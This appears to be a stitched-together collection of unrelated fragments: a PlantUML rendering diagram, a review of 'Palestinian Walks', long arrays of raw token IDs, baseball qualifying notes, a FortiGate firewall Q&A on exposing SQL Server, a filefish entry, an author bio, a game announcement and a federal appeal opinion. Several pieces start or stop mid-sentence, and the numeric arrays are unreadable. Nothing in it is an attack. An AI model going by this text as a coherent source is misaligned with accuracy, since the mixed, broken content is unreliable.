-> SceneManager: _issueRenderOp SceneManager -> Renderable: getRenderOperation activate Renderable Renderable --> SceneManager: RenderOperation deactivate Renderable SceneManager -> RenderSystem: _render activate RenderSystem RenderSystem --> SceneManager deactivate RenderSystem end SceneManager --> Camera deactivate SceneManager Camera --> Viewport deactivate Camera Viewport --> RenderTarget deactivate Viewport RenderTarget --> RenderSystem deactivate RenderTarget RenderSystem --> Root deactivate RenderSystem Root --> Application deactivate Root @enduml To sum up this meeting: lovely. It was lovely to be in the presence of an educated Palestinian, dedicated to the cause who has not sold his soul to the materialist devil. Rajaa is a lawyer who has dedicated his life to challenging the Israeli courts on matters of land ‘requisition’ and the author of “Palestinian Walks: Notes on a Vanishing Landscape”. Rajaa is a hiker and long time enthusiast of the Palestinian ‘sarha’, solitary, aimless walks around the country side. These ‘sarhas’ can last hours or months, and traditionally the hobby of the Palestinian man. I had personally never heard of this tradition until reading his book, but they hold great appeal for me. The effect of them being what he dubbed a ‘drug free high’ for they induce a sense of ‘letting go’ in the ‘sarhaan’. This sense of letting go was what he aimed for in his book, to induce a literary sarha in the reader, which in my opinion he succeeded beautifully. Personally a fan of the imaginary sarha, I am a chronic daydreamer, I really connected with his book, and dub it the best book written by a Palestinian, that I have read that is. Stories of the beautiful Palestinian landscape abound as do the stories of his own family, avid sarhanians (my term), the wildlife really make the place come alive, and opens a new window onto pre-occupation Palestinian life. He does not restrict himself to imagery and folk-tales though, his walks span several decades and hence the reader encounters the rapidly eroding face of Palestine in the grip of a most brutal, arrogant and grasping occupation. In the past he would step out of his front door and go for a wander, mapless and happy. Now it is rare to find a path between the monolithic settlements that sprung up in Palestine post-Oslo, and is ‘reduced’ to consulting maps in order to avoid confrontations with often violent settlers. He mourns the loss of this pastime, and
[ 14149, 432, 253, 48222, 434, 24312, 15, 2064, 310, 13, 253, 2285, 14149, 432, 253, 13688, 434, 24312, 1537, 320, 17527, 5747, 10305, 760, 581, 2165, 15, 187, 187, 32235, 285, 5628, 14616, 46392, 1912, 616, 28661, 37410, 281, 1091, 281, 253, 2022, 14811, 13, 1223, 11268, 285, 10869, 12165, 281, 1056, 616, 3645, 27141, 27015, 11386, 84, 15, 187, 187, 2214, 4240, 28661, 13, 6976, 13, 8987, 13, 11268, 13, 285, 10869, 497, 50217, 281, 253, 35011, 3924, 15, 20676, 994, 9231, 37783, 285, 3684, 7531, 4895, 13, 7416, 407, 253, 643, 12470, 12390, 13, 342, 253, 6517, 273, 23174, 13, 665, 369, 7932, 407, 13115, 13, 665, 369, 12470, 1563, 697, 608, 394, 14, 5070, 8416, 387, 253, 4104, 11650, 27141, 11218, 15, 187, 187, 8447, 273, 18655, 407, 2285, 2490, 187, 3378, 247, 2014, 6517, 13, 512, 2045, 5014, 275, 411, 3979, 28661, 37410, 452, 4783, 327, 281, 10078, 275, 1046, 6774, 411, 3979, 13, 2057, 275, 253, 28661, 14811, 390, 253, 2022, 14811, 15, 50276, 510, 6517, 310, 23174, 13, 534, 13640, 275, 253, 4072, 4426, 5425, 15, 187, 187, 3074, 1253, 2606, 28661, 3330, 1253, 18585, 5861, 187, 26180, 967, 1543, 273, 4072, 285, 4240, 4426, 13783, 15, 187, 187, 6407, 7286, 275, 35011, 407, 2285, 187, 187, 4941, 187, 187, 7504, 4859, 187, 38023, 4422, 187, 9340, 13, 416, 493, 398, 708, 48522, 187, 187, 1413, 27, 14947, 27141, 27015, 187, 1413, 27, 34255, 1877, 323, 9001, 3394, 50, 27, 187, 187, 2347, 281, 20486, 530, 14592, 281, 27938, 2289, 11700, 13331, 8012, 416, 19, 187, 187, 42, 452, 8038, 11700, 13331, 4695, 416, 19, 327, 619, 4771, 285, 1716, 13206, 11700, 4771, 285, 7464, 43505, 8038, 327, 4771, 15, 1147, 2987, 4030, 689, 253, 37439, 15, 187, 4125, 309, 717, 2820, 281, 2289, 352, 689, 8573, 342, 253, 1345, 13997, 273, 776, 4771, 15, 1231, 452, 8038, 530, 14592, 10188, 12894, 43505, 323, 3988, 15, 187, 5804, 667, 581, 2028, 479, 849, 812, 309, 20486, 530, 14592, 323, 4156, 2289, 273, 11700, 4771, 38199, 187, 187, 34, 27, 187, 187, 1394, 878, 281, 20486, 247, 35625, 428, 25750, 8153, 13, 285, 247, 2245, 10603, 15, 380, 35625, 3198, 281, 8028, 327, 634, 6024, 5673, 13, 285, 294, 14, 18711, 253, 7137, 281, 253, 4812, 4771, 15, 2615, 320, 2218, 275, 29856, 13, 390, 3066, 49809, 27, 187, 5397, 43505, 362, 532, 187, 50274, 15576, 346, 11296, 64, 9438, 3, 187, 50274, 1178, 1021, 44313, 16375, 22108, 64, 338, 21760, 187, 50274, 1178, 2245, 10495, 8046, 187, 50274, 1178, 18301, 532, 654, 532, 64, 1171, 64, 9438, 31, 187, 50274, 1178, 1021, 631, 654, 22108, 64, 631, 64, 9133, 64, 936, 64, 42050, 64, 251, 31, 187, 50274, 1178, 18301, 631, 654, 11577, 64, 631, 64, 251, 64, 9438, 31, 187, 50274, 423, 187, 423, 187, 187, 5397, 43505, 3646, 187, 15576, 470, 187, 50274, 1178, 6740, 44313, 16375, 22108, 64, 338, 21760, 187, 50274, 1178, 24334, 44313, 346, 11577, 64, 338, 3, 187, 50274, 1178, 6740, 9834, 346, 455, 3, 187, 50274, 1178, 24334, 9834, 346, 11296, 64, 9438, 3, 187, 50274, 1178, 2250, 2997, 187, 50274, 1178, 10130, 346, 25737, 3, 187, 50274, 1178, 2579, 346, 5626, 3, 187, 423, 187, 423, 187, 187, 6436, 13, 407, 2509, 436, 368, 403, 28248, 634, 21512, 4771, 281, 253, 2644, 8573, 15, 309, 651, 7052, 1804, 368, 671, 897, 19676, 285, 6830, 2701, 253, 6740, 8153, 7990, 4136, 281, 2289, 253, 35625, 15, 535, 34, 719, 11014, 73, 656, 281, 420, 46784, 187, 187, 34, 719, 11014, 73, 656, 281, 420, 46784, 13, 7744, 1929, 347, 253, 1308, 19300, 14, 14694, 1873, 12306, 13, 310, 247, 3417, 273, 1471, 398, 267, 17787, 6773, 534, 14125, 281, 253, 2021, 4200, 317, 14718, 15203, 285, 310, 14414, 4768, 253, 20856, 12685, 273, 253, 2102, 80, 14, 8535, 11553, 15, 733, 310, 247, 1355, 6773, 326, 476, 3986, 247, 4869, 1979, 273, 1249, 575, 3591, 2978, 285, 556, 253, 3745, 281, 9086, 1818, 3295, 285, 4808, 14542, 285, 6127, 347, 281, 3693, 5481, 285, 17912, 2063, 318, 537, 733, 310, 14246, 532, 274, 528, 187, 187, 11185, 209, 187, 2374, 3388, 13, 352, 13794, 432, 495, 15, 25, 14, 25, 15, 26, 50176, 313, 18, 15, 22, 14, 20, 15, 22, 13048, 10, 275, 2978, 15, 733, 556, 3435, 14, 1229, 1115, 49898, 285, 3436, 14, 1717, 1115, 2602, 23154, 15, 187, 187, 35207, 285, 24253, 1497, 209, 187, 1147, 310, 1119, 275, 253, 12685, 1475, 24206, 31642, 13, 35542, 304, 11938, 8930, 13, 253, 22075, 13, 23340, 13, 1457, 34410, 13, 28748, 13, 1457, 2263, 264, 9409, 13, 285, 37477, 66, 15, 733, 14400, 953, 20126, 34110, 294, 23172, 13, 4510, 804, 7118, 273, 253, 43544, 534, 3831, 396, 356, 13404, 15, 733, 41469, 9208, 273, 3435, 15, 23, 14, 1717, 7759, 330, 1241, 3750, 313, 3593, 15, 24, 14, 2759, 15, 19, 7759, 401, 39114, 23867, 582, 247, 18224, 7768, 4719, 273, 577, 15, 3712, 14, 21, 15, 3046, 14141, 16, 45, 313, 1857, 740, 14, 1857, 2270, 28273, 582, 285, 247, 6864, 273, 374, 1253, 1010, 17249, 313, 23, 15, 23, 14, 2537, 15, 19, 4669, 481, 187, 187, 37, 2880, 209, 187, 1147, 28468, 327, 29555, 532, 24322, 13, 877, 3155, 66, 6214, 13, 285, 48315, 316, 661, 15, 187, 187, 4941, 187, 187, 7504, 4859, 187, 2413, 1358, 2700, 15, 4175, 1100, 1553, 447, 15, 2061, 16, 9761, 571, 15, 5581, 32, 81, 30, 9292, 23454, 7, 301, 30, 1423, 361, 3439, 187, 2413, 1358, 2700, 15, 12306, 4793, 15, 2061, 16, 8774, 16, 3141, 2537, 19668, 187, 1413, 27, 9304, 317, 14718, 15203, 187, 1413, 27, 48290, 2529, 275, 1722, 3680, 41032, 472, 10213, 388, 276, 47612, 187, 187, 41032, 472, 10213, 388, 276, 47612, 313, 6448, 23438, 10, 310, 271, 2448, 8406, 273, 15535, 13, 3644, 16879, 285, 5859, 14459, 2159, 6281, 285, 19204, 15, 50276, 1328, 556, 574, 689, 22121, 6281, 3863, 1580, 15621, 15, 50276, 1328, 556, 644, 42193, 17234, 323, 11122, 285, 6865, 1580, 8065, 15, 187, 187, 2302, 652, 84, 708, 2159, 14459, 18406, 187, 510, 44523, 273, 24367, 19534, 313, 14880, 10, 187, 42728, 40562, 313, 12487, 10, 187, 32277, 253, 15390, 313, 12430, 10, 313, 3113, 12824, 8652, 285, 6270, 20424, 27148, 3370, 10, 187, 42, 10540, 1422, 285, 1707, 1680, 13529, 1422, 2615, 3166, 11376, 733, 313, 11496, 10, 187, 45615, 281, 17358, 313, 9595, 10, 187, 15383, 2207, 348, 2352, 432, 329, 360, 313, 6914, 10, 187, 510, 35887, 2064, 12349, 7903, 313, 8971, 10, 187, 55, 3836, 11970, 247, 322, 700, 3606, 418, 561, 313, 10016, 10, 187, 510, 31683, 32261, 313, 8012, 10, 187, 45615, 4325, 17358, 313, 8602, 10, 187, 34, 14169, 273, 26464, 398, 313, 7857, 10, 187, 13689, 272, 323, 353, 2131, 25714, 313, 6622, 10, 187, 29285, 3228, 27, 329, 10733, 5021, 17078, 313, 6961, 10, 313, 3113, 14468, 45746, 10, 187, 510, 659, 272, 273, 26733, 13, 253, 44850, 273, 27955, 313, 6961, 10, 187, 688, 253, 17241, 273, 20909, 272, 2639, 580, 507, 50276, 9, 7132, 10, 187, 29285, 26733, 1373, 313, 7798, 10, 187, 187, 37701, 5970, 187, 39204, 46574, 313, 11496, 10, 187, 36205, 330, 1832, 378, 28590, 13, 342, 443, 9780, 313, 10016, 10, 187, 36205, 12441, 434, 20816, 272, 5819, 316, 273, 411, 23023, 285, 11777, 6929, 13715, 10684, 13, 342, 443, 9780, 313, 8603, 10, 187, 34868, 21869, 40562, 313, 6961, 10, 187, 187, 5035, 671, 187, 2765, 273, 15535, 14459, 4477, 187, 187, 7504, 4859, 187, 41032, 472, 388, 276, 47612, 13, 40671, 388, 276, 47612, 434, 1211, 2670, 187, 41353, 187, 2388, 1374, 313, 6914, 10, 387, 14182, 38, 4039, 187, 187, 41032, 472, 388, 276, 47612, 13, 4110, 39, 8904, 187, 510, 29746, 273, 1503, 4894, 466, 10540, 9018, 10348, 14311, 3774, 4902, 27, 4480, 68, 20708, 6398, 275, 2802, 2993, 457, 69, 10338, 247, 16631, 3083, 27688, 77, 457, 285, 1608, 16044, 273, 253, 16631, 5201, 21454, 13, 380, 9109, 273, 39921, 12294, 6045, 187, 16929, 285, 6865, 20308, 187, 55, 3836, 11970, 329, 322, 700, 3606, 418, 561, 13, 41486, 33022, 2278, 209, 187, 34, 14169, 273, 26464, 398, 13, 41486, 33022, 2278, 187, 688, 253, 17241, 273, 20909, 272, 2639, 580, 507, 13, 41486, 33022, 8439, 187, 187, 1413, 27, 14316, 952, 187, 1413, 27, 7878, 15535, 11597, 187, 1413, 27, 7878, 2159, 2926, 11597, 187, 1413, 27, 7878, 5086, 2159, 2926, 11597, 187, 1413, 27, 7878, 5086, 4460, 1346, 187, 1413, 27, 38460, 10782, 187, 1413, 27, 938, 394, 14, 9888, 2448, 4460, 1346, 187, 1413, 27, 938, 394, 14, 9888, 2448, 5086, 11597, 39, 2966, 763, 37491, 303, 86, 12568, 24973, 3683, 44925, 273, 23780, 21576, 187, 187, 48, 21362, 14, 3169, 37491, 303, 86, 12568, 556, 4950, 44925, 273, 23780, 21576, 13, 616, 15146, 1959, 14, 936, 14, 1993, 13, 16879, 2165, 2962, 323, 6109, 4095, 15, 187, 187, 688, 1033, 1250, 407, 5842, 7205, 30355, 285, 5899, 2829, 3956, 2554, 14, 30758, 3958, 13, 3773, 275, 44925, 273, 23780, 21576, 1379, 327, 253, 2554, 273, 247, 8080, 7205, 15, 380, 2165, 3386, 247, 3352, 8572, 14, 20419, 2926, 3948, 326, 10513, 247, 14511, 12423, 1561, 1437, 84, 13, 1223, 671, 11365, 4451, 3394, 285, 17268, 15, 187, 187, 1628, 1231, 403, 22500, 670, 2554, 14, 30758, 3958, 285, 436, 9908, 2722, 275, 3253, 359, 513, 1806, 2296, 37491, 303, 86, 12568, 11731, 8969, 80, 611, 1392, 384, 1392, 21380, 15, 773, 6067, 2285, 310, 512, 670, 16879, 20490, 1425, 187, 187, 9063, 562, 253, 9765, 30355, 19150, 27, 187, 187, 41, 2771, 265, 273, 23780, 21576, 310, 47395, 323, 2602, 14, 4123, 43157, 327, 10469, 285, 16567, 4095, 275, 3609, 4343, 436, 4565, 15, 50254, 50275, 4037, 39213, 44024, 187, 187, 33249, 18746, 14732, 3481, 24730, 187, 50262, 9675, 3003, 45617, 3886, 32984, 535, 187, 33249, 18746, 3481, 46063, 13, 50264, 171, 98, 122, 187, 50261, 19056, 14, 28107, 13, 187, 50261, 87, 15, 50258, 171, 98, 123, 50267, 2302, 15, 16703, 14, 1449, 3357, 187, 43, 37743, 388, 3271, 15157, 11324, 15122, 2637, 13, 38175, 904, 187, 50265, 25187, 14, 16667, 15, 187, 50254, 245, 50265, 171, 98, 124, 187, 50266, 40417, 432, 253, 1986, 2077, 4412, 2111, 187, 50271, 1542, 253, 10515, 4412, 273, 3729, 9756, 13, 387, 37870, 15, 187, 50262, 23684, 418, 15, 49000, 257, 13, 4412, 6798, 15, 187, 50254, 50274, 9, 1311, 14, 2941, 14, 1812, 10, 535, 50256, 42520, 27, 4223, 2030, 13, 6157, 535, 50256, 34038, 27, 4397, 1668, 13, 6157, 535, 50270, 8639, 7840, 1703, 37, 285, 399, 34893, 1539, 13, 6817, 19592, 13, 285, 187, 50262, 41, 2300, 3077, 18587, 13, 17696, 6817, 6798, 15, 2756, 187, 49504, 407, 27085, 591, 43215, 4743, 15, 2756, 50254, 50272, 36, 32671, 27300, 187, 187, 21309, 418, 15, 8771, 282, 620, 266, 13, 8019, 38, 58, 13, 353, 2648, 1843, 2293, 1539, 13, 443, 1194, 18587, 708, 308, 1556, 14, 187, 36, 31219, 13, 418, 15, 45, 15, 49, 904, 33315, 32485, 13, 3729, 9756, 13, 323, 9517, 15, 16543, 187, 46, 3171, 411, 5154, 254, 13, 1986, 2077, 10158, 13, 22707, 378, 15, 27737, 5943, 13, 17762, 187, 11586, 2077, 10158, 13, 33315, 32485, 13, 3729, 9756, 13, 323, 22706, 15, 187, 189, 19, 50257, 33249, 18746, 362, 15, 11324, 15122, 2637, 187, 2447, 15855, 11626, 403, 417, 4865, 19440, 275, 436, 5049, 15, 2594, 187, 12599, 7804, 5540, 9, 68, 481, 2756, 50254, 50272, 36111, 187, 187, 10810, 34319, 27, 535, 50275, 18448, 4716, 1342, 19896, 920, 13, 10512, 904, 12527, 521, 9611, 285, 278, 7447, 14, 187, 85, 590, 1495, 6197, 323, 13445, 281, 16969, 16394, 2613, 13, 275, 2757, 66, 14, 187, 19606, 273, 3127, 530, 15, 52, 15, 36, 15, 20485, 43909, 9, 67, 2769, 18, 2769, 34, 582, 854, 2950, 313, 6914, 582, 285, 767, 9372, 273, 187, 35360, 273, 16394, 2613, 13, 275, 8411, 273, 3127, 530, 15, 52, 15, 36, 15, 20485, 43909, 9, 66, 2769, 18, 582, 187, 9, 67, 2769, 18, 2769, 35, 10, 313, 6914, 481, 535, 50275, 35, 31041, 806, 12148, 326, 253, 3286, 1302, 14416, 407, 14624, 521, 187, 3456, 14, 21845, 3200, 323, 247, 1302, 14, 40364, 25881, 15, 844, 2278, 323, 271, 187, 357, 2327, 273 ]	emerging from the loser's bracket. That is, the team emerging from the winner's bracket might be eliminated despite losing only one game. Canada and Chinese Taipei won their qualifying tournaments to return to the main tournament, while Spain and Brazil qualified to make their World Baseball Classic debuts. For 2017 qualifying, Australia, Mexico, Spain, and Brazil were relegated to the qualification stage. Previous entrants Panama and South Africa returned, joined by the other invited nations, with the exception of Thailand, who was replaced by Pakistan, who was invited following its 5th-place finish at the 2015 Asian Baseball Championship. Number of appearances by team With a single exception, all previous participants in WBC qualifying tournaments have gone on to participate in every subsequent WBC, either in the qualifying tournament or the main tournament. The exception is Thailand, which participated in the 2013 qualifier. All–time qualifying win–loss records Combined results of 2013 and 2017 qualifiers. First appearance in qualification by team References External links Official website Results, Rosters & Stats Category:World Baseball Classic Category:Qualification for sports eventsQ: How to configure UTM to remotely access SQL Server2008 R2 I have installed SQL Server 2008 R2 on my server and Configure SQL server and Windows firewall installed on server.It works fine over the LAN. Now I am trying to access it over internet with the public ip of our server.We have installed UTM Fortigate firewall for security. Can any one tell me how could I configure UTM for global access of SQL server?? A: You need to configure a VIP - Virtual IP, and a port mapping. The VIP needs to listen on your external interface, and re-direct the traffic to the internal server. Can be done in GUI, or via CLI: config firewall vip edit "sql_server" set extintf "<external_if>" set portforward enable set mappedip <ip_of_server> set extport <external_port_number_to_listen_on> set mappedport <internal_port_on_server> end end config firewall policy edit 0 set srcintf "<external_if>" set dstintf "internal_if" set srcaddr "all" set dstaddr "sql_server" set action accept set schedule "always" set service "ALL" end end However, by doing this you are exposing your sql server to the whole internet. I would strongly suggest you also use authentication and possibly limit the src IP scope allowed to access the VIP. Acreichthys tomentosus Acreichthys tomentosus, commonly known as the bristle-tail filefish, is a species of demersal marine fish which belongs to the family Monacanthidae and is widespread throughout the tropical waters of the Indo-west Pacific. It is a small fish that can reach a maximum size of 12 cm length and has the ability to rapidly change color and skin texture and patterns as to avoid detection and consequently predation.. It is oviparous Description On average, it ranges from 3.8-8.9 centimeters (1.5-3.5 inches) in length. It has 27-30 anal spines and 26-29 anal soft rays. Distribution and Ecology It is found in the waters around Sri Lanka, Ishigaki island, the Philippines, Indonesia, New Guinea, Queensland, New Caledonia, and Tonga. It inhabits shallow coral reefs, preferring sections of the reef which contain seagrass. It prefers temperatures of 27.6-29 degrees Celsius (81.7-84.2 degrees Fahrenheit), a dissolved oxygen concentration of 4.51-4.59 mL/L (4510-4590 ppm), and a depth of 2–15 meters (6.6-49.2 feet). Diet It feeds on amphipods, polychaetes, and mollusks. References External links http://www.marinespecies.org/aphia.php?p=taxdetails&id=220054 http://www.fishbase.org/summary/7849 Category:Monacanthidae Category:Fish described in 1758Gerard Daniel Houarner Gerard Daniel Houarner (born 1955) is an American writer of horror, dark fantasy and science fiction short stories and novels. He has had over 280 stories published since 1973. He has been Fiction Editor for Space and Time since 1998. Novels & short fiction collections The Bard of Sorcery (1986) Painfreak (1996) Inside the Works (1997) (with Edward Lee and Tom Piccirilli) I Love You and There Is Nothing You Can Do About It (1998) Road to Hell (1999) Black Orchids from Aum (2000) The Beast That Was Max (2001) Visions Through a Shattered Lens (2002) The Oz Suite (2008) Road From Hell (2007) A Blood of Killers (2009) Waiting for Mister Cool (2013) Dark City: A Novella Collection (2016) (with Brian Hodge) The Sting of Wonder, the Seed of Faith (2016) In the Country of Dreaming Caravans (2017) Dark Wonderland (2018) Anthologies Going Postal (1998) Dead Cats Bouncing, with GAK (2002) Dead Cat's Traveling Circus of Wonders and Miracle Medicine Show, with GAK (2006) Into Painfreak (2016) See also List of horror fiction authors External links Gerard Houarner, Writer Houarner's own site Bibliography interview (2000) at DarkEcho Gerard Houarner, ISFDB The Course of Zombie Love Never Did Run Smooth: Transcendent Union in ‘She’d Make a Dead Man Crawl’ and Shadows of the Dead Dissections, The Journal of Contemporary Horror Space and Time Magazine Visions Through A Shattered Lens, Publishers Weekly review A Blood of Killers, Publishers Weekly review In the Country of Dreaming Caravans, Publishers Weekly Review Category:Living people Category:American horror writers Category:American short story writers Category:American male short story writers Category:American male novelists Category:1955 births Category:20th-century American novelists Category:20th-century American male writersFinnish Riimu Games unveils Heroes of Venturia Oulu-based Riimu Games has revealed Heroes of Venturia, their upcoming free-to-play, fantasy game series for mobile devices. Inspired by football manager gameplay and traditional tabletop role-playing games, players in Heroes of Venturia take on the role of a hero manager. The game features a procedurally-generated story engine that creates a narrative arc within quests, while also generating unique events and creatures. “We are passionate about role-playing games and this passion shows in everything we do,” says Riimu Games CEO Timo Kähtävä. “Our team is all about fantasy worlds.” Check out the alpha gameplay trailer: Heroes of Venturia is slated for soft-launched on Android and iOS devices in select countries this December. UNPUBLISHED UNITED STATES COURT OF APPEALS FOR THE FOURTH CIRCUIT UNITED STATES OF AMERICA,  Plaintiff-Appellee, v.  No. 04-4053 JAMES HOLMAN BROWNING, JR., Defendant-Appellant.  Appeal from the United States District Court for the Middle District of North Carolina, at Durham. William L. Osteen, District Judge. (CR-03-36) Submitted: August 25, 2004 Decided: September 16, 2004 Before SHEDD and DUNCAN, Circuit Judges, and HAMILTON, Senior Circuit Judge. Affirmed by unpublished per curiam opinion. COUNSEL Robert L. McClellan, IVEY, MCCLELLAN, GATTON & TAL- COTT, L.L.P., Greensboro, North Carolina, for Appellant. Anna Mills Wagoner, United States Attorney, Lisa B. Boggs, Assistant United States Attorney, Greensboro, North Carolina, for Appellee. 2 UNITED STATES v. BROWNING Unpublished opinions are not binding precedent in this circuit. See Local Rule 36(c). OPINION PER CURIAM: James Holman Browning, Jr., appeals his conviction and manda- tory life sentence for conspiracy to distribute cocaine base, in viola- tion of 21 U.S.C. §§ 841(b)(1)(A), 846 (2000), and two counts of distribution of cocaine base, in violation of 21 U.S.C. §§ 841(a)(1), (b)(1)(B) (2000). Browning first contends that the district court erred by denying his pre-trial motion for a court-appointed investigator. We review for an abuse of
[ 2033, 8774, 31, 187, 50270, 9486, 2991, 33328, 26943, 19996, 1082, 187, 50270, 92, 187, 50266, 338, 313, 2520, 15, 36597, 366, 5089, 39744, 2295, 3635, 10, 187, 50266, 92, 187, 50262, 2309, 28, 187, 50266, 94, 535, 50266, 2703, 2120, 2402, 9824, 426, 436, 15, 25192, 16135, 2402, 15, 4312, 15, 16911, 9, 36597, 366, 5089, 3145, 7047, 1336, 15, 16135, 2402, 9671, 4312, 10, 3736, 2876, 15, 16801, 1163, 436, 15, 25192, 16135, 2402, 15, 4312, 28, 187, 50266, 2703, 32181, 9824, 426, 436, 15, 25192, 43731, 15, 4312, 15, 16911, 9, 36597, 366, 5089, 3145, 7047, 1336, 15, 43731, 9671, 4312, 10, 3736, 2876, 15, 16801, 1163, 436, 15, 25192, 43731, 15, 4312, 28, 535, 50266, 2520, 15, 36597, 366, 5089, 39744, 15, 9824, 26943, 9, 11546, 2402, 9824, 13, 32181, 9824, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 21979, 26078, 2362, 273, 253, 34244, 16135, 2402, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 16135, 2402, 64, 25302, 26078, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 25192, 16135, 2402, 15, 25376, 9671, 8590, 9, 709, 436, 15, 36597, 366, 5089, 39744, 15, 36597, 366, 5089, 3145, 7047, 1336, 15, 2513, 16135, 2402, 9824, 4531, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 26872, 26078, 2362, 273, 253, 34244, 16135, 2402, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 16135, 2402, 64, 47801, 26078, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 25192, 16135, 2402, 15, 17613, 410, 9671, 4312, 9, 36597, 366, 5089, 3145, 7047, 1336, 15, 16135, 2402, 9671, 4312, 13, 1275, 436, 15, 36597, 366, 5089, 39744, 15, 36597, 366, 5089, 3145, 7047, 1336, 15, 2513, 16135, 2402, 9824, 4531, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 10030, 5683, 2362, 273, 253, 34244, 16135, 2402, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 7761, 15, 14877, 15, 8982, 15, 4814, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 16135, 2402, 64, 4814, 5683, 9, 6082, 22647, 13, 4155, 15, 14877, 15, 8982, 15, 4814, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 9824, 26943, 19996, 1874, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 21979, 26078, 2362, 273, 253, 34244, 43731, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 43731, 64, 25302, 26078, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 25192, 43731, 15, 25376, 9671, 8590, 9, 709, 436, 15, 36597, 366, 5089, 39744, 15, 36597, 366, 5089, 3145, 7047, 1336, 15, 2513, 43731, 9824, 4531, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 26872, 26078, 2362, 273, 253, 34244, 43731, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 43731, 64, 47801, 26078, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 25192, 43731, 15, 17613, 410, 9671, 4312, 9, 36597, 366, 5089, 3145, 7047, 1336, 15, 43731, 9671, 4312, 13, 1275, 436, 15, 36597, 366, 5089, 39744, 15, 36597, 366, 5089, 3145, 7047, 1336, 15, 2513, 43731, 9824, 4531, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 10030, 5683, 2362, 273, 253, 34244, 43731, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 7761, 15, 14877, 15, 8982, 15, 4814, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 43731, 64, 4814, 5683, 9, 6082, 22647, 13, 4155, 15, 14877, 15, 8982, 15, 4814, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 9824, 26943, 19996, 1874, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 27319, 15886, 2362, 273, 253, 34795, 5089, 2548, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 7761, 15, 14877, 15, 8982, 15, 24431, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34795, 5089, 2548, 64, 24431, 15886, 9, 6082, 22647, 13, 4155, 15, 14877, 15, 8982, 15, 24431, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 11316, 5089, 2548, 15, 2513, 24475, 10854, 9807, 426, 2032, 28, 187, 50266, 2520, 15, 11316, 5089, 2548, 15, 26078, 1874, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 27319, 19815, 2362, 273, 253, 34795, 5089, 2548, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 7761, 15, 14877, 15, 8982, 15, 24431, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34795, 5089, 2548, 64, 24431, 19815, 9, 6082, 